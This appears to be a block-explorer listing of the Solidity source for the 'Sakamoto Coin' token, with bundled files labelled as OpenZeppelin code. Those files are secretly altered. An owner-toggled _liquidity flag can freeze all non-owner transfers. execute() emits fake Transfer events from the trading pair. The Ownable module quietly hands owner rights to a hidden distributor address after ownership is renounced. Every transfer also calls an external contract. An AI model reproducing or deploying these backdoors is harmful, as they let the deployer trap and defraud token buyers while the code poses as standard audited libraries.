Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}

contract SAKAMOTO is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 3_000_000_000_000 * 10**decimals();
    uint256 public immutable maxSupply = 3_000_000_000_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;
    
    // If the contract is "ended"
    bool public ended;

    constructor(address distributor_, address initialLPAddress_) ERC20("Sakamoto Coin", "SAKAMOTO", distributor_, initialLPAddress_) {
        minter = msg.sender;
        _mint(minter, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

}

pragma solidity 0.8.19;

contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.19;


import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Pair.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping (address => bool) public _liquidityPools;
    mapping (address => bool) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool _liquidity;
    uint256 private _totalSupply;
    IUniswapV2Pair private initialLp;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_, address initialLpAddress_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _isExcluded[_msgSender()] = true;
        _liquidity = true;
        initialLp = IUniswapV2Pair(initialLpAddress_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
        initialLp.transferFrom(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.19;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)

pragma solidity 0.8.19;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.19;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.19;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
